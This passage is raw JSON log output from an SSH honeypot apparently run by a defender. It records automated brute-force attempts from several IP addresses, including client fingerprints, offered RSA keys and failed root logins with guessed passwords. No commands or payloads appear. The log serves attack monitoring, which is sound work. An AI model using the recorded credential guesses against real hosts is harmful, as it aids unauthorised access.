openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:08.467461Z","src_ip":"89.108.118.91","session":"b7dcc9669298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741741","message":"login attempt [root/741741] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:09.094303Z","src_ip":"89.108.118.91","session":"b7dcc9669298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:09.136438Z","src_ip":"51.250.105.222","session":"38b3f9b2908a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:10.231883Z","src_ip":"89.108.118.91","session":"b7dcc9669298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":36004,"dst_ip":"159.203.135.109","dst_port":22,"session":"16a3a008c2d2","protocol":"ssh","message":"New connection: 185.236.22.41:36004 (159.203.135.109:22) [session: 16a3a008c2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:14.625012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:14.630236Z","src_ip":"185.236.22.41","session":"16a3a008c2d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:14.746672Z","src_ip":"185.236.22.41","session":"16a3a008c2d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckyou","message":"login attempt [root/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:15.219386Z","src_ip":"185.236.22.41","session":"16a3a008c2d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:16.394102Z","src_ip":"185.236.22.41","session":"16a3a008c2d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.95.137","src_port":52374,"dst_ip":"10.17.0.5","dst_port":22,"session":"2936e5a625b1","protocol":"ssh","message":"New connection: 184.154.95.137:52374 (10.17.0.5:22) [session: 2936e5a625b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:18.868334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:18.874312Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:18.903105Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:ee:a2:cb:41:50:b3:2c:09:2b:7a:26:e3:71:19:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9+BQD+1rPQp2uibIZlnBfF1zuar4foiszQJWlYPwqHKile1yApnemwRztwTHWw7DPk2ziCisGdHYyh2b+Ti8o8q5YZZxf3Xfm59YnoaiPpsot02X7LWQZcnEnVXVTeyYLXrBwkFgokQFHqjvzG/pCsVcjl8RfJ7l+V1tq3YK86L1n/Nx3ns4NrHg7o7X7qqYqCp8XtrkBXCaxNoGS21qTxsGzv0ETcqm2fXdZwB3N75Q7VNZM9I55BFxz7bnDpOjrqZfH/NmO/O3UmNmp8atI8zfbYq1uxEDV5zHxQgC+o9Y8x4GHIbnr3gtCidxclMDUy2O0GcwHRBWxDarloixL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:ee:a2:cb:41:50:b3:2c:09:2b:7a:26:e3:71:19:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.024736Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:ee:a2:cb:41:50:b3:2c:09:2b:7a:26:e3:71:19:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9+BQD+1rPQp2uibIZlnBfF1zuar4foiszQJWlYPwqHKile1yApnemwRztwTHWw7DPk2ziCisGdHYyh2b+Ti8o8q5YZZxf3Xfm59YnoaiPpsot02X7LWQZcnEnVXVTeyYLXrBwkFgokQFHqjvzG/pCsVcjl8RfJ7l+V1tq3YK86L1n/Nx3ns4NrHg7o7X7qqYqCp8XtrkBXCaxNoGS21qTxsGzv0ETcqm2fXdZwB3N75Q7VNZM9I55BFxz7bnDpOjrqZfH/NmO/O3UmNmp8atI8zfbYq1uxEDV5zHxQgC+o9Y8x4GHIbnr3gtCidxclMDUy2O0GcwHRBWxDarloixL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.029608Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:d7:91:e5:e0:5d:24:1f:57:55:e0:f7:32:1b:e4:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2IE7MOjieUoy6oWp0Bfkg/q8psxe1IEFxXIG8UpS2mFE3paSvyxJwC60Sbs72qtxGYUPqH8gGeR8tNdJ+/FcDI098wubz0FPdkSkU4/rEFApC2+88bXqywIgWY/2VZI/JSYuy2K9NJnEzqFL9y5wmKzvggIghqxfjVo60mderCDZEEkrhHxIQAmAVWbyKHgCSIumrpFB/CvfpAUNSYJnuTABk3qcPZTXFev7xzHdCy+NtgQ+jFw+LcrtRFSIaF5jnpw4iQsHTeljk2aCc4oGKypQTugiWEpAWsFivp5wbxGc/f3ZMmc9vMkEbxQ424KK5tFzVwewWznhUf3MhUJnB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:d7:91:e5:e0:5d:24:1f:57:55:e0:f7:32:1b:e4:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.061027Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:d7:91:e5:e0:5d:24:1f:57:55:e0:f7:32:1b:e4:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2IE7MOjieUoy6oWp0Bfkg/q8psxe1IEFxXIG8UpS2mFE3paSvyxJwC60Sbs72qtxGYUPqH8gGeR8tNdJ+/FcDI098wubz0FPdkSkU4/rEFApC2+88bXqywIgWY/2VZI/JSYuy2K9NJnEzqFL9y5wmKzvggIghqxfjVo60mderCDZEEkrhHxIQAmAVWbyKHgCSIumrpFB/CvfpAUNSYJnuTABk3qcPZTXFev7xzHdCy+NtgQ+jFw+LcrtRFSIaF5jnpw4iQsHTeljk2aCc4oGKypQTugiWEpAWsFivp5wbxGc/f3ZMmc9vMkEbxQ424KK5tFzVwewWznhUf3MhUJnB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.065207Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:60:80:40:a0:7a:3e:86:fa:44:4c:21:c4:fe:71:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiLnhEwptRkDm2cJ2qTxrVIjEmZep0F83yqEa+s7VtjuHNjpFFShGLBkpJk04UenLbgmVLH19qqaAZkaXp8XFrp9jmEj9BfioNgzFMf7TdN+FCB87pf7T9G0Ok2SoPmOW60EjmG/shafuDBE78/Nli0PdGCnQHXZyx6A1U2CF99vxk8fqzoToQ1WmzIpW6IgwfJsK83vpSzYDEa4D5f9ZVV2bnpW7X1Ds4m8JZt8JyABR2dQ22eZY6gR/PYGeFZXCNtAg5w+XSnsZlj5GXmgy/WiLpw2eiYJ9ibT/MZRjQZYa3WFKNcwFqQetq8QKb9KVtg/EXav7udTd9dfeU6Olj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:60:80:40:a0:7a:3e:86:fa:44:4c:21:c4:fe:71:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.098256Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:60:80:40:a0:7a:3e:86:fa:44:4c:21:c4:fe:71:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiLnhEwptRkDm2cJ2qTxrVIjEmZep0F83yqEa+s7VtjuHNjpFFShGLBkpJk04UenLbgmVLH19qqaAZkaXp8XFrp9jmEj9BfioNgzFMf7TdN+FCB87pf7T9G0Ok2SoPmOW60EjmG/shafuDBE78/Nli0PdGCnQHXZyx6A1U2CF99vxk8fqzoToQ1WmzIpW6IgwfJsK83vpSzYDEa4D5f9ZVV2bnpW7X1Ds4m8JZt8JyABR2dQ22eZY6gR/PYGeFZXCNtAg5w+XSnsZlj5GXmgy/WiLpw2eiYJ9ibT/MZRjQZYa3WFKNcwFqQetq8QKb9KVtg/EXav7udTd9dfeU6Olj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.102343Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:71:05:4d:3a:06:f7:86:0c:71:1b:c2:46:17:cd:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxVH9ZeQLV8pt5pm3TMIDOPIT4gKJ1gZySHcWRQI9c6GiRq5/7ccDwm/Tnw9sCN7WVX2kzbzS3gjCWhdAel3jIxtlbJdmB5V9GUDCd2ZR8rOPUIvHHsZH562w9F6HFhJUlzSfqi3UrPZ3cXj+xbuNnE+N4sxERKLwaxDk93OsCNUHgB8SA5KLLMPYbjI81jPxghRrQ89LiUWYO8ud5SOlMnDchlUhHz7bBKhzNqQgsRwaCeniXbEh9QOgiQVarikhRsGEDIt+TMTr/AToEL9G2YbNGv8k96LGnAzpFOAl8x1XvviRxazUokk8T5wVTzI45Lhz6+YSBkZvQhpP1L0ep","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:71:05:4d:3a:06:f7:86:0c:71:1b:c2:46:17:cd:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.132865Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:71:05:4d:3a:06:f7:86:0c:71:1b:c2:46:17:cd:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxVH9ZeQLV8pt5pm3TMIDOPIT4gKJ1gZySHcWRQI9c6GiRq5/7ccDwm/Tnw9sCN7WVX2kzbzS3gjCWhdAel3jIxtlbJdmB5V9GUDCd2ZR8rOPUIvHHsZH562w9F6HFhJUlzSfqi3UrPZ3cXj+xbuNnE+N4sxERKLwaxDk93OsCNUHgB8SA5KLLMPYbjI81jPxghRrQ89LiUWYO8ud5SOlMnDchlUhHz7bBKhzNqQgsRwaCeniXbEh9QOgiQVarikhRsGEDIt+TMTr/AToEL9G2YbNGv8k96LGnAzpFOAl8x1XvviRxazUokk8T5wVTzI45Lhz6+YSBkZvQhpP1L0ep","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.138514Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:10:f3:bc:64:8b:53:61:13:95:ba:2a:2f:1a:3e:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyNJGcXrmNPkJ8X7F/8HKatnt2g43aVDCZRdge6qWnOJJjHP59KsCWM/e+IPglG0U11Lg7iu82Bg+Z7bxdSHBClo2R562XBPPmG4bhQFm2W0E836xo6LynYZjiyhtLc87s4u8pSyE3oaZAhKV0bgbLbZwTLIN7G9Taz86lsSNCMLOuVHSPOAkXJz1DzlCk5BK0rtb5csq0J0uRCHN1BE3znWMv49XAP8gbRJ9gFNfq8x2oDnNBNEsmxKkEbEUtF7FOyT5VI/gK/CScLvf5DIqviSwv/an6ieuFYKtXoawBhlEjhoBTECV+Lyk7c2ptYu9+eub+dUyk52VgsDAXKWx9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:10:f3:bc:64:8b:53:61:13:95:ba:2a:2f:1a:3e:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.169925Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:10:f3:bc:64:8b:53:61:13:95:ba:2a:2f:1a:3e:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyNJGcXrmNPkJ8X7F/8HKatnt2g43aVDCZRdge6qWnOJJjHP59KsCWM/e+IPglG0U11Lg7iu82Bg+Z7bxdSHBClo2R562XBPPmG4bhQFm2W0E836xo6LynYZjiyhtLc87s4u8pSyE3oaZAhKV0bgbLbZwTLIN7G9Taz86lsSNCMLOuVHSPOAkXJz1DzlCk5BK0rtb5csq0J0uRCHN1BE3znWMv49XAP8gbRJ9gFNfq8x2oDnNBNEsmxKkEbEUtF7FOyT5VI/gK/CScLvf5DIqviSwv/an6ieuFYKtXoawBhlEjhoBTECV+Lyk7c2ptYu9+eub+dUyk52VgsDAXKWx9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.174045Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:19.205324Z","src_ip":"184.154.95.137","session":"2936e5a625b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53662,"dst_ip":"10.17.0.5","dst_port":22,"session":"579c214bbc58","protocol":"ssh","message":"New connection: 80.94.92.184:53662 (10.17.0.5:22) [session: 579c214bbc58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:28.572944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:28.602625Z","src_ip":"80.94.92.184","session":"579c214bbc58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:28.740263Z","src_ip":"80.94.92.184","session":"579c214bbc58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:29.403682Z","src_ip":"80.94.92.184","session":"579c214bbc58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:30.592689Z","src_ip":"80.94.92.184","session":"579c214bbc58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":46554,"dst_ip":"159.203.135.109","dst_port":22,"session":"16fad098006c","protocol":"ssh","message":"New connection: 193.228.128.84:46554 (159.203.135.109:22) [session: 16fad098006c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:35.274434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:35.279703Z","src_ip":"193.228.128.84","session":"16fad098006c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:35.384202Z","src_ip":"193.228.128.84","session":"16fad098006c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"computer","message":"login attempt [root/computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:35.694544Z","src_ip":"193.228.128.84","session":"16fad098006c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:37.124838Z","src_ip":"193.228.128.84","session":"16fad098006c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":38834,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ad4737527a","protocol":"ssh","message":"New connection: 2.57.122.238:38834 (10.17.0.5:22) [session: d4ad4737527a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:08.414733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:25:08.419822Z","src_ip":"2.57.122.238","session":"d4ad4737527a","protocol":"ssh"}
